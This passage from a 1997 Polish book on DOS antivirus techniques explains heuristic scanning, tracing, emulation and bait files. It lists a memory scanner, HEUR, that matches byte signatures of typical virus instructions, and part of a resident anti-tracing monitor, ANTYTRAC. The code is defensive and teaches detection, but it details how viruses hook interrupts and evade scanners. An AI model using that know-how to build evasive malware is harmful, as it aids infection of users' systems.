Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki, 
stąd techniki wykorzystywane w pierwowzorach są bez większych zmian 
implementowane w kolejnych, nowych pokoleniach wirusów.
Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę 
heurystycznego wykrywania kodu, polegającą na tym, iż na podstawie znajomości 
charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach, 
można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje 
wykorzystywane przez wirusy zostały wymienione w poprzednich rozdziałach, np. przy 
okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka 
instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie 
typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik, 
zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie 
nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego 
jeszcze wirusa. Poszukiwanie sekwencji może być prowadzone bądź to przy okazji 
zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb 
krokowy, emulacja procesora).
CMP AX, 4B00h                ; sprawdƒ czy jest uruchamiany jaki£ program 
                             ; 3D,00,4B kod maszynowy rozkazu
CMP DS:[0],Z                 ; czy ostatni blok pamiÛci 
                             ; 80,3E,00,00, 5A kod maszynowy rozkazu
MOV AX, 2521h                ; funkcja DOS ustaw adres przerwania 21h 

background image

INT 21h                      ; wywo│aj funkcjÛ B8,21,25,CD,21 kod maszynowy       
                             ; sekwencji
MOV WORD PTR [l],0008        ; ustaw blok jako systemowy w nag│¾wku MCB 
                             ; C7,06,01,00,08,00 kod maszynowy instrukcji
CALL NEXT                    ; weƒ relatywny offset NEXT: 
                             ; E8,00,00 kod instrukcji
Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez 
programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane 
przez wirusy.

;----------------------------------------------------------------------------;
;                                                                              ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                       HEUR v1.0, Autor : Adam Blaszczyk 1997               ;
;                                                                            ;
;              Program przeglada bloki MCB obecne w systemie i poszukuje w   ;
;              nich kilku standardowo wystepujacych w wirusach sekwencji     ;
;              Przy jego uzyciu mozna wykryc w pamieci niektore wirusy       ;
;              rezydetne                                                     ;
;----------------------------------------------------------------------------;
;  Dane techniczne                                                           ;
;----------------------------------------------------------------------------;
;                                                                            ;
;  Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po     ;
;  uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu       ;
;  Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub     ;
;  buforach programow cache (np. SMARTDRV)                                   ;
;                                                                            ;
;  Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0)     ;
;                                                                            ;; 
;;                                                                            ;;
;----------------------------------------------------------------------------;

JUMPS
HEUR SEGMENT
     ORG  100h
     ASSUME CS:HEUR, DS:HEUR

     NUL = 00h                           ; \
     LF  = 0Ah                           ;  - stale znakow
     CR  = 0Dh                           ; /

IleSygnZebyAlarm = 10                    ; okresla, ile sygnatur musi wystapic
                                         ; w badanym bloku MCB, aby potraktowac
                                         ; jego zawartosc za podejrzana
                                         ; i wyswietlic ostrzezenie

background image

DlugProgPara  = (Offset Koniec-Offset Start+15)/16+10h
                                         ; okresla dlugosc programu w pamieci

Sygn struc                               ; \
     SygnNazwa     db 45 dup (?)         ;  \
     SygnDlug      dw 0                  ;   \
     Sygn00        db 0                  ;    \
     Sygn01        db 0                  ;     \
     Sygn02        db 0                  ;      \  struktura opisujaca
     Sygn03        db 0                  ;      /  sygnature wirusa
     Sygn04        db 0                  ;     /
     Sygn05        db 0                  ;    /
     Sygn06        db 0                  ;   /
     Sygn07        db 0                  ;  /
Sygn ends                                ; /

DlugoscSygnatury = Size Sygn             ; dlugosc struktury

;-----------------------------------------------------------------------------
Start:
       lea   si,TeCopyRight              ; SI=ofset do informacji o programie
       Call  DrukLn                      ; wyswietl info o programie

       Call  SzukajHeur                  ; szukaj sekwencji w pamieci

       mov   ax,4C00h                    ; funkcja DOS - koncz program
       int   21h                         ; wywolaj funkcje

;-----------------------------------------------------------------------------
SzukajHeur:
       push  es ax bx cx dx              ; zachowaj zmieniane rejestry

       mov   bx,IleSygnatur              ; ile sygnatur do odXORowania

       lea   si,Sygnatury                ; skad pobierac sygnatury
       add   si,size SygnNazwa+size SygnDlug
                                         ; i gdzie XORowac bajt
XORujSygnature:
       xor   byte ptr [si],0AAh          ; przywroc prawdziwy bajt sygnatury
       add   si,DlugoscSygnatury         ; wez kolejna sygnature

       dec   bx                          ; zmniejsz licznik sygnatur
       jnz   XORujSygnature              ; powtarzaj dla kazdej sygnatury

       mov   IloscSygn,0
       mov   ax,5802h                    ; funkcja DOS - czy UMB dolaczone ?

background image

       int   21h                         ; wywolaj funkcje

       push  ax                          ; zachowaj informacje na pozniej

       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB
       mov   bx,1                        ; sprobuj dolaczyc bloki UMB
       int   21h                         ; wywolaj funkcje

       mov   ah,52h                      ; funkcja DOS - wez adres listy list LL
       int   21h                         ; wywolaj funkcje

       mov   ax,es:[bx-2]                ; wez adres pierwszego bloku MCB

NastepnyMCB:                             ; kolejne bloki MCB

       mov   es,ax                       ; ES=MCB
       mov   bl,byte ptr es:[0]          ; zachowaj info o znaczniku bloku

       mov   dx,es:[0003]                ; DX=rozmiar bloku MCB
       mov   cx,es:[0001]                ; CX=adres PSP z bloku MCB
       Call  SzukajWBloku

       stc                               ; +1 w dodawaniu ponizej
       adc   ax,word ptr es:[0003]       ; dodaj rozmiar bloku MCB+1
                                         ; AX=nastepny blok MCB
       cmp   bl,'M'                      ; czy to posredni blok ?
       je    NastepnyMCB                 ; TAK - przegladaj

       cmp   bl,'Z'                      ; czy to ostatni blok ?
       je    OstatniBlokMCB              ; TAK - zakoncz przegladanie

                                         ; zly blok MCB - naruszona struktura
       lea   si,TeZlyMCB                 ; \ wyswietl komunikat
       Call  DrukLN                      ; / o blednym bloku MCB

OstatniBlokMCB:

       pop   bx                          ; przywroc info o UMB

       mov   bh,0                        ; BX=BL
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB
       int   21h                         ; wywolaj funkcje

       pop   dx cx bx ax es              ; przywroc zmieniane rejestry

       cmp   IloscSygn,0                 ; \
       jne   SzukajHeurPowrot            ;  \

background image

                                         ;   - jezeli nie znalazl zadnej
       lea   si,TeNieMaSygnatur          ;  /  sygnatury to wyswietl komunikat
       Call  DrukLN                      ; /

SzukajHeurPowrot:
       ret                               ; powrot

;-----------------------------------------------------------------------------
SzukajWBloku:                            ; szuka sygnatury w bloku MCB
                                         ; AX=blok MCB
                                         ; DX=dlugosc bloku w paragrafach
       push  ds es ax bx cx dx si di     ; zachowaj zmieniane rejestry

       or    cx,cx                       ; czy blok jest nieuzywany ?
       je    SzukajWBlokuPowrot          ; TAK - nie sprawdzaj i powroc

       mov   AdresMCB,ax                 ; zapamietaj adres MCB

       inc   ax                          ; ES:0= MCB+1:0
       mov   es,ax                       ; ES wskazuje na dane w bloku

       lea   si,TeSprawdzam              ; \
       Call  Druk                        ;  \
       lea   si,TeBlokMCB                ;   \
       Call  Druk                        ;    \
       mov   ax,AdresMCB                 ;     \
       Call  DrukHEX16                   ;      \  wypisz info o szukaniu
       lea   si,TeRozmiar                ;      /  w bloku MCB i podaj jego
       Call  Druk                        ;     /   adres, dlugosc
       mov   ax,dx                       ;    /
       Call  DrukHex16                   ;   /
       lea   si,TeParagraf               ;  /
       Call  DrukLn                      ; /

       mov   bx,cs                       ; \
       mov   ax,es                       ;  \ czy to MCB programu HEUR ?
       cmp   ax,bx                       ;  / TAK-nie sprawdzaj kodu programu
       jne   InnyBlok                    ; /      ale sprawdz poza nim

       mov   ax,DlugProgPara
       sub   dx,ax                       ; odejmij dlugosc kodu
       or    dx,dx                       ; \ czy nie odjete za duzo ?
       jz    SzukajWBlokuPowrot          ; /

       add   ax,AdresMCB                 ; \ ES=dane poza kodem programu
       mov   es,ax                       ; /

background image

InnyBlok:
       or    dx,dx                       ; \ pomin blok, gdy dlugosc =0
       je    SzukajWBlokuPowrot          ; /

       mov   IloscBiezSygn,0             ; licznik wystapien w bloku
       cld                               ; SI:=SI+1, DI:=DI+1 po oper. lancuchowych
       xor   di,di                       ; dane sa pod ES:0000

SzukajDalej:

       mov   bx,IleSygnatur              ; ustaw licznik sygnatur

       lea   si,Sygnatury                ; podaj, skad pobierac sygnatury
SzukajSygnature:
       push  si                          ; zachowaj zmieniane SI

       mov   bp,si                       ; zachowaj ofset do nazwy sygnatury
       add   si,size SygnNazwa+size SygnDlug
                                         ; dodaj ofset do sygnatury

       lodsb                             ; wez 1-szy bajt sygnatury
       scasb                             ; czy=bajt w pamieci ?
       jnz   NastepnaSygnatura           ; NIE - sprawdz kolejna sygnature
                                         ; TAK - porownaj cala sygnature
       mov   cx,word ptr ds:[si-3]       ; wez dlugosc sygnatury
       dec   cx                          ; pierwszego bajtu nie trzeba
                                         ; porownywac
       push  di                          ; DI jest pozniej potrzebne wiec zachowaj
       rep   cmpsb                       ; porownaj sygnature z pamiecia
       pop   di                          ; przywroc DI
       jnz   NastepnaSygnatura           ; NIE - nie ma sygnatury
                                         ; TAK - sygnatura znaleziona
       inc   IloscSygn                   ; zwieksz ilosc wystapien (globalna)
       inc   IloscBiezSygn               ; zwieksz ilosc wystapien (w MCB)

       lea   si,TeAdres                  ; \
       Call  Druk                        ;  \      wyswietl jaka sygnatura
       mov   ax,es                       ;   \     zostala znaleziona
       Call  DrukHEX16                   ;    \    i pod jakim adresem
       mov   ax,0E3Ah                    ;     \
       int   10h                         ;      \
       mov   ax,di                       ;       \
       dec   ax                          ;       /
       Call  DrukHex16                   ;      /
       lea   si,TeSygnatura              ;     /
       Call  Druk                        ;    /
       mov   si,bp                       ;   /

background image

       add   si,SygnNazwa                ;  /
       Call  DrukLn                      ; /

NastepnaSygnatura:

       pop   si                          ; przywroc SI
       add   si,DlugoscSygnatury         ; i ustaw na nastepna sygnature

       dec   di                          ; ustaw wskaznik na poprzedni bajt
       dec   bx                          ; zmniejsz licznik sygnatur
       jnz   SzukajSygnature             ; jezeli nie, to sprawdz kolejna sygnature

NastepnyBajt:
       inc   di                          ; wskaznik na nastepny bajt w bloku
       and   di,15                       ; czy ofset>15
       jnz   SzukajDalej                 ; NIE - szukaj sygnatur
                                         ; TAK - zwieksz numer segmentu
       mov   di,es                       ; \
       inc   di                          ;  \ ES:DI=ES:0010:=ES+1:0
       mov   es,di                       ;  /
       xor   di,di                       ; /
NieZmienSeg:
       dec   dx                          ; zmniejsz ilosc paragrafow w bloku
       jnz   SzukajDalej                 ; NIE - kontynuuj sprawdzanie

       cmp   IloscBiezSygn,IleSygnZebyAlarm
                                         ; czy ilosc wykrytych sygnatur jest
                                         ; odpowiednio duza ?
       jb    SzukajWBlokuPowrot          ; NIE - powrot

       lea   si,TePrawdopodWirus         ; \ TAK - wypisz o tym komunikat
       Call  DrukLn                      ; /

SzukajWBlokuPowrot:
       pop   di si dx cx bx ax es ds     ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------
DrukLn:
       push  si                          ; zachowaj zmieniany rejestr

       call  Druk                        ; wyswietl tekst z CS:SI

       lea   si,TeCRLF                   ; \ i przejdz do nastepnej linii
       Call  Druk                        ; /

background image

       pop   si                          ; przywroc zmieniany rejestr

       ret                               ; powrot

;-----------------------------------------------------------------------------
Druk:
       push  ax si                       ; zachowaj zmieniane rejestry

DrukPetla:
       lods  byte ptr cs:[si]            ; wez kolejny znak tekstu
       or    al,al                       ; czy NUL ?

       jz    DrukPowrot                  ; TAK - koniec tekstu

       mov   ah,0Eh                      ; funkcja BIOS - wyswietl znak
       int   10h                         ; wywolaj funkcje

       jmp   short DrukPetla             ; pobierz kolejny znak tekstu

DrukPowrot:
       pop  si ax                        ; przywroc zmieniane rejestry

       ret                               ; powrot

;-----------------------------------------------------------------------------
DrukHEX16:
       push  ax                          ; zachowaj 8 dolnych bitow
       mov   al,ah                       ; AL=AH=wyzsze 8 bitow
       Call  DrukHEX8                    ; wyswietl wyzsze 8 bitow
       pop   ax                          ; przywroc 8 dolnych bitow
DrukHEX8:
       push  ax                          ; zachowaj 4 dolne bity
       shr   al,1                        ; \  wez 4 gorne bity
       shr   al,1                        ;  \ do AL (podziel przez 16)
       shr   al,1                        ;  /
       shr   al,1                        ; /
       Call  DrukHEX4                    ; wyswietl 4 gorne bity
       pop   ax                          ; przywroc 4 dolne bity
       and   al,15                       ; utworz z nich liczbe 0..F
DrukHEX4:
       push  bx                          ; BX bedzie potrzebne wiec zachowaj
       lea   bx,HexZnaki                 ; ustaw BX na tablice konwersji
       xlatb                             ; konwertuj 0..F na '0'..'Z','A'..'Z'
                                         ; AL=cyfra
       mov   ah,0Eh                      ; funkcja BIOS - wyswietl znak z AL
       int   10h                         ; wywoluje funkcje

background image

       pop   bx                          ; przywroc BX

       ret                               ; powrot

HexZnaki db '0123456789ABCDEF'           ; tablica konwersji
TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997'
            db CR,LF
            db CR,LF,'_ Szukam sygnatur ...',NUL
            db CR,LF
     TeCRLF db CR,LF,NUL

 TeZlyMCB         db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL
 TeSygnatura      db ': Znaleziona sygnatura : ',NUL
 TeNieMaSygnatur  db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL
 TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze 
byc wirus !'
                  db CR,LF,'          Swiadczy o tym ilosc znalezionych w nim sygnatur !',NUL
 TeAdres          db '  Adres=',NUL
 TeBlokMCB        db '  MCB=',NUL
 TeRozmiar        db ', Rozmiar MCB=',NUL
 TeParagraf       db ' paragrafow',NUL
 TeSprawdzam      db '_ Sprawdzam',NUL

Sygnatury:
  Sygn <'CALL $+3; POP BX                     ',4,0E8h xor 0AAh,000h,000h,05Bh>
  Sygn <'CALL $+3; POP BP                     ',4,0E8h xor 0AAh,000h,000h,05Dh>
  Sygn <'CALL $+3; POP SI                     ',4,0E8h xor 0AAh,000h,000h,05Eh>
  Sygn <'CALL $+3; POP DI                     ',4,0E8h xor 0AAh,000h,000h,05Fh>
  Sygn <'CMP AX,4B00h; JZ ??                  ',4,03Dh xor 0AAh,000h,04Bh,074h>
  Sygn <'CMP AX,4B00h; JNZ ??                 ',4,03Dh xor 0AAh,000h,04Bh,075h>
  Sygn <'CMP AX,"MZ"                          ',4,03Dh xor 0AAh,05Ah,04Dh,075h>
  Sygn <'CMP AX,"ZM"                          ',4,03Dh xor 0AAh,04Dh,05Ah,075h>
  Sygn <'MOV AX,2521h; INT 21h                ',5,0B8h xor 0AAh,021h,025h,0CDh,021h>
  Sygn <'MOV AH,52h; INT 21h                  ',4,0B4h xor 0AAh,052h,0CDh,021h>
  Sygn <'MOV AX,4300h; CALL NEAR []           ',4,0B8h xor 0AAh,000h,043h,0E8h>
  Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,000h,043h,02Eh,09Ch,0FFh>
  Sygn <'MOV AX,4301h; CALL NEAR []           ',4,0B8h xor 0AAh,001h,043h,0E8h>
  Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,001h,043h,02Eh,09Ch,0FFh>
  Sygn <'MOV AX,5700h; CALL NEAR []           ',4,0B8h xor 0AAh,000h,057h,0E8h>
  Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,000h,057h,02Eh,09Ch,0FFh>
  Sygn <'MOV AX,5701h; CALL NEAR []           ',4,0B8h xor 0AAh,001h,057h,0E8h>
  Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,001h,057h,02Eh,09Ch,0FFh>

background image

  Sygn <'MOV AX,3D02h; CALL NEAR []           ',4,0B8h xor 0AAh,002h,03Dh,0E8h>
  Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,002h,03Dh,02Eh,09Ch,0FFh>
  Sygn <'MOV AX,4200h; CALL NEAR []           ',4,0B8h xor 0AAh,000h,042h,0E8h>
  Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,000h,042h,02Eh,09Ch,0FFh>
  Sygn <'MOV AX,4202h; CALL NEAR []           ',4,0B8h xor 0AAh,002h,042h,0E8h>
  Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 
0AAh,002h,042h,02Eh,09Ch,0FFh>
  Sygn <'MOV AH,3Fh; CALL NEAR []             ',3,048h xor 0AAh,03Fh,0E8h>
  Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[]  ',5,0B4h xor 
0AAh,03Fh,02Eh,09Ch,0FFh>
  Sygn <'MOV AH,40h; CALL NEAR []             ',3,048h xor 0AAh,040h,0E8h>
  Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[]  ',5,0B4h xor 
0AAh,040h,02Eh,09Ch,0FFh>
  Sygn <'CMP DS:[0],"Z"; JZ ??                ',4,080h xor 0AAh,03Fh,05Ah,074h>
  Sygn <'CMP DS:[0],"Z"; JNZ ??               ',4,080h xor 0AAh,03Fh,05Ah,075h>
  Sygn <'CMP ES:[0],"Z"; JZ ??                ',5,026h xor 0AAh,080h,03Fh,05Ah,074h>
  Sygn <'CMP ES:[0],"Z"; JNZ ??               ',5,026h xor 0AAh,080h,03Fh,05Ah,075h>
  Sygn <'MOV DS:[1],0008h                     ',6,0C7h xor 
0AAh,006h,001h,000h,008h,000h>
  Sygn <'MOV ES:[1],0008h                     ',7,026h xor 
0AAh,0C7h,006h,001h,000h,008h,000h>
  Sygn <'MOV DS:[100h],????                   ',4,0C7h xor 0AAh,006h,000h,001h>
  Sygn <'MOV ES:[100h],????                   ',5,026h xor 0AAh,0C7h,006h,000h,001h>
  Sygn <'MOV AX, 100h; PUSH AX; RET           ',5,0B8h xor 
0AAh,000h,001h,050h,0C3h>
  Sygn <'MOV CX, 100h; PUSH CX; RET           ',5,0B9h xor 
0AAh,000h,001h,051h,0C3h>
  Sygn <'MOV DX, 100h; PUSH DX; RET           ',5,0BAh xor 
0AAh,000h,001h,052h,0C3h>
  Sygn <'MOV BX, 100h; PUSH BX; RET           ',5,0BBh xor 
0AAh,000h,001h,053h,0C3h>
  Sygn <'MOV AX, 100h; JMP AX                 ',5,0B8h xor 0AAh,000h,001h,0FEh,0E0h>
  Sygn <'MOV CX, 100h; JMP CX                 ',5,0B9h xor 0AAh,000h,001h,0FEh,0E1h>
  Sygn <'MOV DX, 100h; JMP DX                 ',5,0BAh xor 0AAh,000h,001h,0FEh,0E2h>
  Sygn <'MOV BX, 100h; JMP BX                 ',5,0BBh xor 0AAh,000h,001h,0FEh,0E3h>
  Sygn <'MOV DS:[0086],CS                     ',4,08Ch xor 0AAh,00Eh,086h,000h>
  Sygn <'MOV ES:[0086],CS                     ',5,026h xor 0AAh,08Ch,00Eh,086h,000h>
  Sygn <'MOV AX,DS; DEC AX; MOV DS,AX         ',5,08Ch xor 
0AAh,0D8h,048h,08Eh,0D8h>
  Sygn <'MOV AX,ES; DEC AX; MOV ES,AX         ',5,08Ch xor 
0AAh,0C0h,048h,08Eh,0C0h>
  Sygn <'MOV AL,3; IRET                       ',3,0B4h xor 0AAh,003h,0CFh>
IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury

 AdresMCB         dw ?

background image

 IloscBiezSygn    dw ?
 IloscSygn        dw ?

Koniec:
HEUR ENDS

END Start

12.3. Tryb krokowy
Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować 
zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej. 
Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora. 
Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą 
odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej 
wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie 
wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa 
(jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu 
dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany 
wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor 
nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie 
ma w nim wirusa.

12.4. Emulacja procesora
Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać, 
autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania 
programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki 
któremu mogą emulować wykonywanie początkowych intrukcji programu, mając 
jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii 
80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji 
wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji, 
której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z 
wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h, 
67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych. 
Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych, 
które po ich napotkaniu kończyły sprawdzanie pliku.

12.5. Przynęty (ang. baits, decoys)
Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy, 
dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu 
składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja 
zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich 
plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i 
zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich 
zainfekowanie.
Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to 
zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest 

background image

znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie 
zainfekować takiego pliku.

12.6. Odświeżanie programów systemowych w sektorach
Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-
sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego 
odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez 
niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż 
niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach 
systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego 
startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie 
będzie można odczytać zapisanych na dysku danych.
Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości 
sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później 
odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa 
techniki stealth odczyty najlepiej, byłoby wykonywać przez porty.

12.7. Blokowanie programów używających trybu krokowego
Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania 
wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do 
przerwań.
Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h, 
2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu 
krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu 
oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę 
przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania 
znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie 
wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli 
na niebezpieczne działania.
Powyższą technikę demonstruje poniższy program.

;----------------------------------------------------------------------------;
;                                                                            ;
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ;
;                                                                            ;
;                       ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997           ;
;                                                                            ;
;              Program nie pozwala przejsc w trybie krokowym                 ;
;              przez przerwania 13h i 21h.                                   ;
;              W efekcie wirusy uzywajace tracingu do odnalezienia           ;
;              oryginalnych procedur obslugi tych przerwan nie znajda        ;
;              ostatniego elementu lancucha, a tylko element posredni.       ;
;                                                                            ;
; Kompilacja :                                                               ;
;             TASM     ANTYTRAC.ASM                                          ;
;             TLINK /t ANTYTRAC.OBJ                                          ;
;                                                                            ;

background image

;----------------------------------------------------------------------------;
;
NUL = 00h                                 ; \
LF  = 0Ah                                 ;  - stale potrzebne do deklaracji
CR  = 0Dh                                 ; /  lancuchow napisowych

ANTYTRAC SEGMENT                          ; segment kodu i danych

ORG 100h                                  ; program jest typu COM

ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC

DlugoscKoduTSR      = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h
                                          ; oblicza, ile pamieci zajmie TSR

PoczatekKoduTSR:
Start:                                    ; tu zaczyna sie program
     jmp   Poczatek                       ; skocz i zainstaluj lub odinstaluj program

NoweInt21h:
     cmp   ax,3521h                       ; czy to funkcja 3521h ?
     jne   Nie3521                        ; NIE - skocz na koniec obslugi

     cmp   bp,0BACAh                      ; czy to ponownie uruchomiony program ?
                                          ; wywolal te funkcje ?
     jne   Nie3521                        ; NIE - skocz na koniec obslugi

                                          ; TAK - odinstaluj wirusa
     push  es ds                          ; zachowaj zmieniane rejestry

     lds   dx,dword ptr cs:[StareInt21]   ; pobierz stary adres INT 21h
     mov   ax,2521h                       ; funkcja DOS - ustaw nowe przerwanie
     int   21h                            ; wywolaj funkcje (rekurencyjnie)

     lds   dx,dword ptr cs:[StareInt13]   ; pobierz stary adres INT 13h
     mov   ax,2513h                       ; funkcja DOS - ustaw nowe przerwanie
     int   21h                            ; wywolaj funkcje

     push  cs
     pop   es                             ; ES=zwalniany segment
     mov   ah,49h                         ; funkcja DOS - zwolnij blok pamieci
     int   21h                            ; wywolaj funkcje

     pop   ds es                          ; przywroc zmieniane rejestry

     mov   ax,bp                          ; przekaz informacje do wywolujacego
                                          ; programu

background image

     iret                                 ; powrot z przerwania

Nie3521:

     Call  Wylacz_TF                      ; jezeli bit TF=1, ustaw TF=0

                db 0EAh                   ; czesc rozkazu JMP FAR
     StareInt21 dd ?                      ; koncowka rozkazu JMP FAR

NoweInt13h:

     Call  Wylacz_TF                      ; jezeli TF=1, ustaw TF=0

                db 0EAh                   ; czesc rozkazu JMP FAR
     StareInt13 dd ?                      ; koncowka rozkazu JMP FAR

Wylacz_TF:
     cli                                  ; zablokuj przerwania
     push  ax bx ds                       ; zachowaj zmieniane rejestry

     push  ss                             ; \  za pomoca tej sztuczki zwykle
     pop   ss                             ;  \ mozna pobrac "prawdziwy" obraz
     pushf                                ;  / rejestru znacznikow
     pop   ax                             ; /

     test  ah,1                           ; czy TF ustawiony ?

     jz    TF_NieUstawiony                ; NIE - nie trzeba nic robic

     mov   ax,0123h                       ;
     push  ax                             ; ss:[sp]:=0123
     pop   ax                             ; ax:=ss:[sp]:=0123
     dec   sp                             ; sp=sp-2-wskazuje na wartosc,
     dec   sp                             ; ktora byla sciagana ze stosu
     pop   ax                             ; ax:=ss:[sp]:=0123 jezeli TF=0
     cmp   ax,0123h
     jz    TF_NieUstawiony                ; NIE - nie trzeba nic robic

     xor   ax,ax                          ; \ DS wskazuje na tablice przerwan
     mov   ds,ax                          ; /

     lds   bx,ds:[01h*4]                  ; DS:BX wskazuje na adres obslugi
                                          ; przerwania krokowego INT 1
     mov   al,0CFh                        ; kod 0CFh oznacza IRET
     xchg  al,ds:[bx]                     ; wymien pierwszy bajt w procedurze
                                          ; obslugi INT 1 - teraz jest tylko

background image

                                          ; IRET

     push  ax                             ; zachowaj pierwszy bajt procedury

     pushf                                ; \
     pop   ax                             ;  \  zeruj TF
     and   ah,0FEh                        ;   -
     push  ax                             ;  /
     popf                                 ; /

     pop  ax                              ; przywroc pierwszy bajt

     mov  ds:[bx],al                      ; i zapisz go z powrotem

TF_NieUstawiony:
     pop  ds bx ax                        ; przywroc zmieniane rejestry

     ret                                  ; powrot z procedury

KoniecKoduTSR:

Poczatek:
     mov   es,ds:[2Ch]                    ; ES=blok otoczenia programu
     mov   ah,49h                         ; funkcja DOS - zwolnij blok pamieci
     int   21h                            ; wywolaj funkcje

     lea   si,TeCopyRight                 ; \ pokaz info o programie
     Call  Print                          ; /

     mov   bp,0BACAh                      ; \  wez stare INT 21h i jednoczesnie
     mov   ax,3521h                       ;  - odinstaluj program, jezeli juz
     int   21h                            ; /  byl wczesniej zainstalowany

     cmp   ax,0BACAh                      ; czy zostal odinstalowany ?
     je    Deinstal                       ; TAK - wyswietl komunikat i koncz

     mov   word ptr [StareInt21],bx       ; \ zachowaj stare INT 21
     mov   word ptr [StareInt21+2],es     ; /

     mov   ax,3513h                       ; funkcja DOS - wez stare INT 13h
     int   21h                            ; wywolaj funkcje

     mov   word ptr [StareInt13],bx       ; \ zachowaj stare INT 13
     mov   word ptr [StareInt13+2],es     ; /

     lea   si,TeZainstalowany             ; \ pokaz info o programie
     Call  Print                          ; /

background image

     lea   dx,NoweInt21h                  ; DS:DX wskazuje na nowa procedure
